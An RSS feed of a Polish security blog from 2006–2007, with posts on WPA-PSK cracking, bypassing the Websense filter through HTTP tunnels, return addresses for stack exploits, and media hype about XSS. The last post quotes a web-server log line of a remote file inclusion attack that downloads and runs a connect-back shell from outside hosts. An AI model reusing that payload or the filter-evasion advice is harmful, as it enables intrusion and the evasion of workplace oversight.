<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"><channel><title>Simplysecurity</title><link>http://simplysecurity.blaass.net/</link><description>Wpisy z dziennika internetowego Jogger, wspomaganego przez Jabbera</description><lastBuildDate>Wed, 10 Mar 2010 17:52:23 +0100</lastBuildDate><generator>JoggerPL</generator><item><title>WPA-PSK złamany!</title><link>http://simplysecurity.blaass.net/2007/02/14/wpa-psk-zlamany/</link><description>Krótko i zwięźle, ponieważ pełny opis zostanie opublikowany po angielsku.

WPA-PSK można atakować metodą Brute-Force, to jest fakt wiadomy już od pewnego czasu. Niestety okazał się on nieskuteczny ponieważ standardem stały się skomplikowane hasła [0-9a-zA-Z], a nie standardowe słowa wycięte z słownika.
Problemem w odkrywaniu wszystkich możliwości staje się moc obliczeniowa, ponieważ średni wynik ataku brute-force na pentium 1.x ghz, wynosi 14 keys/sec. Przy założeniu, że mamy min 8 max 64 długość hasła prosta matematyka mówi nam, że jest to niemożliwe.
Odpowiedzią jest stworzenie bazy i hashowanie jej (rainbow tables). Następnie porównywanie z wynikiem otrzymanym przy sniffingu. Wynik benchmarku wyjdzie około 19.500 keys/sec. Co daje nam realną szansę na złamanie kodu.

Problem pojawia się, jeżeli SSID jest niewidoczny a jego nazwa jest randomowa. Musielibyśmy stworzyć tablicę gdzie każdy element byłby przyporządkowany do każdej 'możliwości' SSID.

Jeżeli SSID jest widoczny (a także jego długość), możemy stworzyć atak bruteforce używając tablicy rainbow.
Opis wkrótce :-)

ps. wystarczy wysniffować pojedyncza autoryzację. (wbrew plotkom krążącym na forach wifi)
</description><pubDate>Wed, 14 Feb 2007 14:59:27 +0100</pubDate><guid>http://simplysecurity.blaass.net/2007/02/14/wpa-psk-zlamany/</guid><category>Polish</category><category>WPA-PSK złamany!</category></item><item><title>Websense hacked! part 1/2</title><link>http://simplysecurity.blaass.net/2007/01/19/websense-hacked-part-1-2/</link><description>Ok, does anybody use Websense as a Web filtering product?

I was 'trapped' in Websense Corporate 6.3 for about 3 minutes. That was the time, that I needed to view some forbidden sites, like Internet Auctions, or sport news. The security and development level of this product is slight zero.

Reminding: Websense Corporate filters web content and denies it, or accepts. There are many options, and the best are- reports generated whenever needed, which shows us our workers productivity by counting how long they are surfing on the Internet. Websense is number 1. in the world, and for sure it has no commercial 'enemies'.
Ok, how to do it? I found 5 ways in 3 minutes. One of them HTTP-Tunnel:

[root@pldmachine ~]# htc -V
htc (httptunnel) 3.3

[root@pldmachine ~]# hts -V
hts (httptunnel) 3.3

Just use your home machine as server, and start a client at work. Forward port on server into your sshd, or into your local proxy. That will allow you to surf through your home proxy through http-tunnel. No 'expert' IT skills needed here. You can even use Windows HTTP-Tunnel client and some free server.

Another idea was to use java/activex for redirection. It was working just fine! Freeware applets allow you to use Browser in Browser Window. You can surf where ever you want.

There are many more, the mistakes are made while detecting the content of destination addresses and header (mime) processing. Also the http-Tunnel connection isn't logged correctly. There is a bug in Reporting module which just don't show the right numbers. You can use the tunnel for 24 hours, it will show you 30 minutes. Websense as a number 1 in the world, should present us better software. Instead we have software which even a student will find after few hours of use.
ps. Websense programmers are funny - learn to detect HTTP-Tunnels
If you want to read about more methods please buy Computer Week 05/07. I will publish next news about it in a week. Till then, *cheers*, surf in work!


PL: Websense odpowiedzialny za filtrowanie zawartości WWW, można ominąć w 3 minuty.
Najpopularniejszy produkt na świecie szokuje prymitywnością skanowania zawartości, a także zabezpieczeniami. Testując ten produkt, odniosłem wrażenie że jest to program napisany przez studenta a nie produkt, który jest światowym liderem.
Zapraszam do lektury po Polsku za dwa tygodnie w tygodniku Computerworld.
</description><pubDate>Fri, 19 Jan 2007 18:52:35 +0100</pubDate><guid>http://simplysecurity.blaass.net/2007/01/19/websense-hacked-part-1-2/</guid><category>English</category><category>Polish</category><category>Websense hacked! part 1/2</category></item><item><title>Rzucam MONetę</title><link>http://simplysecurity.blaass.net/2007/01/17/rzucam-monete/</link><description>Bardzo mnie zastanawia co jest przyczyną tego, że ludzie uznają proste błędy na stronie za włamanie?
Drugą interesująca sprawa, czemu ludzie robią to coraz częściej i całkowicie zmieniają nazewnictwo i standardy?

Zastanawiałem się nad tą problematyką słuchając radia w aucie i dotarło do mnie - to wszystko wina wydawnictw! Czemu? Coraz to nowsze książki 'zostań hakerem', 'jak włamać się na serwer w 10 dni' itp. promują XSS i nazywają każdy błąd włamaniem. Książki te, jeżeli poruszają tematykę tworzenia exploitów, to jest to na podstawowym poziomie i opisuje metody na jądra 2.4, lub starsze. Szukając statycznych ret addresów i innych archaizmów. Sarkastycznie stwierdzam, że po przeczytaniu takiej książki każdy zostanie hakerem, lub jak niektórzy wolą 'specjalistą ds. bezpieczeństwa'.
Kiedyś dla porównania zbindowanie shella z prawami http nie było uznawane za włamanie. Było tylko i wyłącznie przejściem, aby dostać się do roota i reszty systemu. To co pokazują ostatnie czasy dowodzi, że nie trzeba się włamywać. Stronę można zmienić z poziomu http, tak samo dodać kilka katalogów (przez prosty exec w php) i już jesteśmy niesamowitymi hakerami.

Odnośnie MONu mam tylko jedno pytanie, jeżeli to było 'włamanie', to czemu się pan podpisał imieniem i nazwiskiem na stronie? Napewno nie dlatego, że z prawami http nie można kasować logów? Albo z strachu, że MON może wymusić historie połączeń od jakiegoś dostawcy proxy? Z komunikatu dochodzi także informacja, że można tworzyć foldery i zapisywać pliki - ale nie ma ani słowa o kasowaniu. Specjalista wywnioskuje, że nie uzyskał praw administratora i podpisał się imieniem i nazwiskiem z strachu. Pozatym ekipa hacking.pl jest znana z zamiłowania do XSS itp. metod (patrz przykłąd allegro.pl).

Nic tylko czekać aż Pan 'Gorion' razem z ekipą hacking.pl zacznie reklamować jakąś fantastyczną książkę dla hakerów 'ha(c)king nie dla idiotów'.
Miłego dnia
</description><pubDate>Wed, 17 Jan 2007 20:03:59 +0100</pubDate><guid>http://simplysecurity.blaass.net/2007/01/17/rzucam-monete/</guid><category>Polish</category><category>Włamanie do MON</category></item><item><title>Komentarz dla hakera 'Goriona'</title><link>http://simplysecurity.blaass.net/2007/01/11/komentarz-dla-hakera-goriona/</link><description>Doszedł do mnie bardzo ciekawy link do strony, której autor ma podobne poglądy do moich - na temat pseudo specjalisty ds. bezpieczeństwa - 'Goriona'. Zapraszam do lektury:
http://platyna.platinum.linux.pl/gorion/

Chciałbym dodać, że nie podoba mi się przeklinanie i obrażanie nawet takiej osoby jak Paweł 'gorion'. Ja osobiście dziękuje Panu Pawłowi. Dziękuje - to Pan był inspiracja do napisania artykułu o XSS.

Kiedyś na IRCNETcie przebywał człowiek o nicku &quot;Dannyboy&quot;, nie wiem czy go państwo pamiętają czy nie. Chociaż dany w przeciwieństwie do Pana goriona nie używał błędów w stronach, tylko włamywał się bezpośrednio na serwery (czasy massrooterów itp) ja widze duże podobieństwo. :-)
Kończąc ten przykry temat, zadaje pytanie - kto weryfikował to co Pan 'gorion' będzie pokazywać w telewizji? Czy informatycy z grupy ITI, dowolnego z członów, nie wyrazili sprzeciwu? TVN straciło w moich oczach brakiem profesjonalizmu i rzetelności. Mam nadzieje, że mój artykuł troche pomoże w walce z ignorancją i głupotą.
</description><pubDate>Thu, 11 Jan 2007 10:59:53 +0100</pubDate><guid>http://simplysecurity.blaass.net/2007/01/11/komentarz-dla-hakera-goriona/</guid><category>Polish</category><category>Gorion</category><category>komentarz</category></item><item><title>Blog powrócił!</title><link>http://simplysecurity.blaass.net/2007/01/10/blog-powrocil/</link><description>Z powodu mojego powrotu na 'scenę' publicystyczną, po prawie pół rocznej przerwie postanowiłem ożywić bloga i ponownie publikować na tematy związane z bezpieczeństwem. Postaram się nie zawieść i kontynuować prowadzenie tego bloga przez dłuższy okres czasu.

W Computerworld 03/2007 pojawi się artykuł mojego autorstwa o skryptowaniu, czyli wykorzystaniu dziur XSS. Mam nadzieje, że czytelnicy nie zrozumieją źle moich intencji oceniłem 'script kiddies', jako ludzi o niskim poziomie umiejętności informatycznych. Wszyscy wiemy, że jako informatycy mamy wielkie ego - ja używam argumentów, które mogą to ego urazić. Mam nadzieje, że czytelnicy podejdą do artykułu obiektywnie. Nieraz publikowałem błędy związane z XSS, ale artykuł ma się głównie skupić na problemie nazewnictwa tego typu ataku i szumu medialnego jaki wywołały ostatnio metodia. Na pewno osoba, eksploitująca XSS - w moim mniemaniu - nie jest hakerem i na takie miano zasługuje. Zapraszam do artykułu :)

W przyszłym numerze Computerworld (04/2007 opisze jak ominąć zabezpieczenia w korporacyjnych systemach filtrowania zawartości (en. Web Filters). Swoją uwagę skupie na produkcie Websense, aktualnie światowym liderze. Artykuł bardzo ciekawy, może otworzy oczy kilku Dyrektorom IT, że nie można wierzyć w reklamy. Zapraszam

Następnym tematem jest Confidence 2007, na który przygotowuje specjalny projekt - &quot;Safe data within Web Env.&quot;. Projekt będzie zautomatyzowaną metodą zapobiegania kradzieży danych i wykrywania nadużyć w serwerach Web-owych. Zapraszam,

</description><pubDate>Wed, 10 Jan 2007 18:19:28 +0100</pubDate><guid>http://simplysecurity.blaass.net/2007/01/10/blog-powrocil/</guid><category>Polish</category><category>XSS Bugs</category></item><item><title>New hardcore value!
</title><link>http://simplysecurity.blaass.net/2006/05/25/new-hardcore-value/</link><description>Did any one think about hardcore values ?

&quot;The basic data unit in computers is bits, and every 8 bits are
converted to a byte. In the process, the actual bits never change,
but rather the logical meaning. For instance, the difference
between a signed and unsigned is up to the program to recognize the
MSB as sign bit nor data bit. As there is no absolute way to define
a group of bits, different interpretation becomes possible.&quot; - from
smashthestack paper,
There was only one interpratation of hardcore value number 58623,
as a ret addr using its value jmp *%ESP.

58623 translates into FFE4 and that means JMP *%ESP

But I found a second one, that gives more possibilities when
playing with the process. 54527 translates into FFD4 and that means
CALL *%ESP.
(gdb) x/1i main+22
0x80483ba : call *%esp

0x80483ba will not change durring next debug(next run), why? 2.6
kernel doesn't randomise this sector. Why? Google more,
I will publish a project about this value in few days.

</description><pubDate>Thu, 25 May 2006 14:44:54 +0200</pubDate><guid>http://simplysecurity.blaass.net/2006/05/25/new-hardcore-value/</guid><category>English</category><category>Polish</category></item><item><title>CONFidence 2006
</title><link>http://simplysecurity.blaass.net/2006/05/20/confidence-2006/</link><description>Hauptthema backdooring. Ich veröffentlichte eine neue backdooring Methode, die backdooring
Nonp2p genannt wurde. Ich füge Projekt dem blaass.net Aufstellungsort an den Tagen hinzu. Bis dann
besuchen Sie:

I was lecturing on a security conference in Krakau-PL. Topic touched: backdooring &amp; hacking. I
published a new techique called Nonp2p backdooring. I will add description shortly. Till then,
visit:

La matière principale backdooring. J'ai édité une nouvelle méthode backdooring appelée Nonp2p
backdooring. J'ajouterai le projet à l'emplacement de blaass.net des jours. Jusqu'à puis visitez
:


security.proidea.org.pl

</description><pubDate>Sat, 20 May 2006 18:25:45 +0200</pubDate><guid>http://simplysecurity.blaass.net/2006/05/20/confidence-2006/</guid><category>English</category><category>French</category><category>German</category></item><item><title>Security Standards
</title><link>http://simplysecurity.blaass.net/2006/05/20/security-standards/</link><description>Najnowsze wyniki badań (opublikowane przez FBI) - udowadniają tezę, którą poruszałem już nie
raz. Administratorzy, informatycy, specjaliści odpowiedzialni za bezpieczeństwo w swojej firmie
ignorują wszelkie normy. Nastały czasy w których dostajemy podwyżki dlatego, że niebezpieczeństwo -
pseudo zagrożenie - jest większe niż kilka lat temu. Przy tym zapomnieliśmy, że to my jesteśmy
odpowiedzialni za bezpieczeństwo informacji, bezpieczeństwo danych i że to my jesteśmy ostatnią
linią obrony - a nie robimy nic i zawodzimy.
Jestem przeciwnikiem standardyzacji, dlatego zwracam się do was z prośbą: reagujcie, badajcie,
myślcie analitycznie (ref. BS-7799).

ps. Kiedy 'dzieci' przestaną używać google do 'hack'-owania?


139.223.200.125 - - [05/May/2006:03:18:25 +0200] &quot;GET
/cvs/index.php?_REQUEST[option]=com_content&amp;_
REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path=
http://190.48.107.56/cmd.gif?&amp;cmd=cd%20/tmp;wget%2082.165.30.74/
cback;chmod%20744%20cback;./cback%20195.184.201.82%208080;echo%20YYY;echo| HTTP/1.1&quot; 404 -

</description><pubDate>Sat, 20 May 2006 13:41:24 +0200</pubDate><guid>http://simplysecurity.blaass.net/2006/05/20/security-standards/</guid><category>Polish</category></item></channel></rss>